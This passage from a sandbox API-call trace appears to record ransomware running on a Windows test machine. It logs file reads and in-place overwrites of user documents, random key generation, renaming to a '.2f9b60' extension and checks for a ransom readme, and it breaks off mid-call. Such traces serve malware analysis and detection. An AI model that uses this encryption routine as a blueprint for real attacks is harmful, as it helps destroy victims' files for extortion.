HALPmcxz\\Documents\\EOAS6FJTIipuQi9.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eoas6fjtiipuqi9.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd58 [0092.417] GetFileSizeEx (in: hFile=0xd58, lpFileSize=0x21e7f940 | out: lpFileSize=0x21e7f940*=65731) returned 1 [0092.417] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x100bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.417] ReadFile (in: hFile=0xd58, lpBuffer=0x21e7f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21e7f908, lpOverlapped=0x0 | out: lpBuffer=0x21e7f8c0*, lpNumberOfBytesRead=0x21e7f908*=0x4, lpOverlapped=0x0) returned 1 [0092.418] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0092.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad80 [0092.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0092.418] NtQuerySystemTime (in: CurrentTime=0x21e7f800 | out: CurrentTime=0x21e7f800*=132462176982562000) returned 0x0 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x3a23960f [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x5751aef4 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x6c7a3280 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x51da6b53 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x318c1349 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x542b9ce1 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x5207c902 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x3d40cc50 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x3870a014 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x58533c4c [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x26daf1c8 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x5907193 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x48c94aaa [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x4b4d38da [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x4014304a [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x4753dde8 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x2ab51044 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x233e8313 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x4aa7ef0e [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x3679f521 [0092.418] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x5f09182c [0092.419] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x46cb5582 [0092.419] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x73261993 [0092.419] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x569f64d4 [0092.419] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x59ac869 [0092.419] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x424ead87 [0092.419] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x44c3463d [0092.419] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x54e02dc2 [0092.419] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x41dcb529 [0092.419] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x66df9d97 [0092.419] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x6182e173 [0092.419] RtlRandomEx (in: Seed=0x21e7f7f0 | out: Seed=0x21e7f7f0) returned 0x6d8fb855 [0092.427] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.427] ReadFile (in: hFile=0xd58, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21e7f860, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x21e7f860*=0x3c00, lpOverlapped=0x0) returned 1 [0092.427] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0092.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b050) returned 1 [0092.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20179560 [0092.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0092.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0092.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b350) returned 1 [0092.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.428] WriteFile (in: hFile=0xd58, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21e7f860, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x21e7f860*=0x3c00, lpOverlapped=0x0) returned 1 [0092.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0092.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0092.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9ebb0 [0092.484] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.484] WriteFile (in: hFile=0xd58, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x21e7f910, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x21e7f910*=0x118, lpOverlapped=0x0) returned 1 [0092.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0092.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0092.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7380 [0092.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0092.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0092.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0092.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd9d030 [0092.493] sprintf (in: _Dest=0x1cd9d030, _Format="%c%c" | out: _Dest="00") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d032, _Format="%c%c" | out: _Dest="1b") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d034, _Format="%c%c" | out: _Dest="d0") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d036, _Format="%c%c" | out: _Dest="f9") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d038, _Format="%c%c" | out: _Dest="03") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d03a, _Format="%c%c" | out: _Dest="73") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d03c, _Format="%c%c" | out: _Dest="09") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d03e, _Format="%c%c" | out: _Dest="58") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d040, _Format="%c%c" | out: _Dest="da") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d042, _Format="%c%c" | out: _Dest="4e") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d044, _Format="%c%c" | out: _Dest="70") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d046, _Format="%c%c" | out: _Dest="3c") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d048, _Format="%c%c" | out: _Dest="07") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d04a, _Format="%c%c" | out: _Dest="1c") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d04c, _Format="%c%c" | out: _Dest="17") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d04e, _Format="%c%c" | out: _Dest="9b") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d050, _Format="%c%c" | out: _Dest="03") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d052, _Format="%c%c" | out: _Dest="a4") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d054, _Format="%c%c" | out: _Dest="46") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d056, _Format="%c%c" | out: _Dest="10") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d058, _Format="%c%c" | out: _Dest="ab") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d05a, _Format="%c%c" | out: _Dest="1b") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d05c, _Format="%c%c" | out: _Dest="2f") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d05e, _Format="%c%c" | out: _Dest="e1") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d060, _Format="%c%c" | out: _Dest="8f") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d062, _Format="%c%c" | out: _Dest="b9") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d064, _Format="%c%c" | out: _Dest="da") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d066, _Format="%c%c" | out: _Dest="11") returned 2 [0092.493] sprintf (in: _Dest=0x1cd9d068, _Format="%c%c" | out: _Dest="fa") returned 2 [0092.494] sprintf (in: _Dest=0x1cd9d06a, _Format="%c%c" | out: _Dest="40") returned 2 [0092.494] sprintf (in: _Dest=0x1cd9d06c, _Format="%c%c" | out: _Dest="6c") returned 2 [0092.494] sprintf (in: _Dest=0x1cd9d06e, _Format="%c%c" | out: _Dest="0d") returned 2 [0092.494] sprintf (in: _Dest=0x1cd9d070, _Format="%c%c" | out: _Dest="5e") returned 2 [0092.494] sprintf (in: _Dest=0x1cd9d072, _Format="%c%c" | out: _Dest="d8") returned 2 [0092.494] sprintf (in: _Dest=0x1cd9d074, _Format="%c%c" | out: _Dest="2f") returned 2 [0092.494] sprintf (in: _Dest=0x1cd9d076, _Format="%c%c" | out: _Dest="cd") returned 2 [0092.494] sprintf (in: _Dest=0x1cd9d078, _Format="%c%c" | out: _Dest="a8") returned 2 [0092.494] sprintf (in: _Dest=0x1cd9d07a, _Format="%c%c" | out: _Dest="b2") returned 2 [0092.494] RtlInitAnsiString (in: DestinationString=0x21e7f988, SourceString="001bd0f903730958da4e703c071c179b03a44610ab1b2fe18fb9da11fa406c0d5ed82fcda8b2" | out: DestinationString="001bd0f903730958da4e703c071c179b03a44610ab1b2fe18fb9da11fa406c0d5ed82fcda8b2") [0092.494] RtlAnsiStringToUnicodeString (in: DestinationString=0x21e7f958, SourceString="001bd0f903730958da4e703c071c179b03a44610ab1b2fe18fb9da11fa406c0d5ed82fcda8b2", AllocateDestinationString=1 | out: DestinationString="001bd0f903730958da4e703c071c179b03a44610ab1b2fe18fb9da11fa406c0d5ed82fcda8b2") returned 0x0 [0092.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce11340 [0092.494] wcscat (in: _Dest=0x1b784130, _Source="001bd0f903730958da4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\001bd0f903730958da4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\001bd0f903730958da4" [0092.494] wcscat (in: _Dest=0x1b784130, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\001bd0f903730958da4.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\001bd0f903730958da4.2f9b60" [0092.494] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\001bd0f903730958da4.2f9b60", NtPathName=0x21e7f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\001bd0f903730958da4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1ce113f0 [0092.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce113f0) returned 1 [0092.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0092.536] NtQueryInformationFile (in: FileHandle=0xd58, IoStatusBlock=0x21e7f998, FileInformation=0x21e7f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21e7f998, FileInformation=0x21e7f9a8) returned 0x0 [0092.536] NtSetInformationFile (FileHandle=0xd58, IoStatusBlock=0x21e7f998, FileInformation=0x21e7f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784130) returned 1 [0092.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11340) returned 1 [0092.539] FlushFileBuffers (hFile=0xd58) returned 1 [0092.543] CloseHandle (hObject=0xd58) returned 1 [0092.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79db70 [0092.544] wcscpy (in: _Dest=0x1b79db70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.544] wcscat (in: _Dest=0x1b79db70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.544] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0092.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e690) returned 1 Thread: id = 501 os_tid = 0xca8 [0092.390] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\f3x0yxhu.doc")) returned 0x20 [0092.390] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc", dwFileAttributes=0x20) returned 1 [0092.401] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\f3x0yxhu.doc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdb4 [0092.401] GetFileSizeEx (in: hFile=0xdb4, lpFileSize=0x21dff800 | out: lpFileSize=0x21dff800*=96484) returned 1 [0092.401] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x178e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.402] ReadFile (in: hFile=0xdb4, lpBuffer=0x21dff780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21dff7c8, lpOverlapped=0x0 | out: lpBuffer=0x21dff780*, lpNumberOfBytesRead=0x21dff7c8*=0x4, lpOverlapped=0x0) returned 1 [0092.402] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0092.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0092.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0092.403] NtQuerySystemTime (in: CurrentTime=0x21dff6c0 | out: CurrentTime=0x21dff6c0*=132462176982406000) returned 0x0 [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x10e14faf [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x19536fdd [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x232fc2dd [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x7329195 [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x3cf49436 [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x36171a9 [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0xcaee8fe [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x50c85b1a [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x26985f5e [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x2ba4415b [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x143dd0e0 [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x41cc7ab8 [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x6793498d [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x54d27fb [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x7e5ad3c7 [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x6dbbed9d [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x13c04146 [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x1af3c807 [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x40b3c6b2 [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x7056e14a [0092.403] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x5bb0b2a1 [0092.404] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x52b32c02 [0092.404] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x6e736757 [0092.404] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x1509ef8b [0092.404] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x5232a1c2 [0092.404] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x3f0fed56 [0092.404] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x3171a21b [0092.404] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x7f44daf5 [0092.404] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x2f66e794 [0092.404] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x270195c3 [0092.404] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x58f77117 [0092.404] RtlRandomEx (in: Seed=0x21dff6b0 | out: Seed=0x21dff6b0) returned 0x5652ba47 [0092.412] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.412] ReadFile (in: hFile=0xdb4, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21dff720, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x21dff720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.413] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0092.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0092.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20175950 [0092.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0092.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0092.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b050) returned 1 [0092.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.414] WriteFile (in: hFile=0xdb4, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21dff720, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x21dff720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0092.482] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.482] ReadFile (in: hFile=0xdb4, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21dff720, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x21dff720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.482] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b650 [0092.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b650) returned 1 [0092.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20175950 [0092.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b650 [0092.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0092.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0092.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.483] WriteFile (in: hFile=0xdb4, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21dff720, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x21dff720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0092.490] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x13ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.490] ReadFile (in: hFile=0xdb4, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21dff720, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x21dff720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.490] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x13ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0092.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0092.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20175950 [0092.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0092.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0092.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0092.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.491] WriteFile (in: hFile=0xdb4, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21dff720, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x21dff720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.503] RtlFreeHeap (HeapHandle=0xa0000, 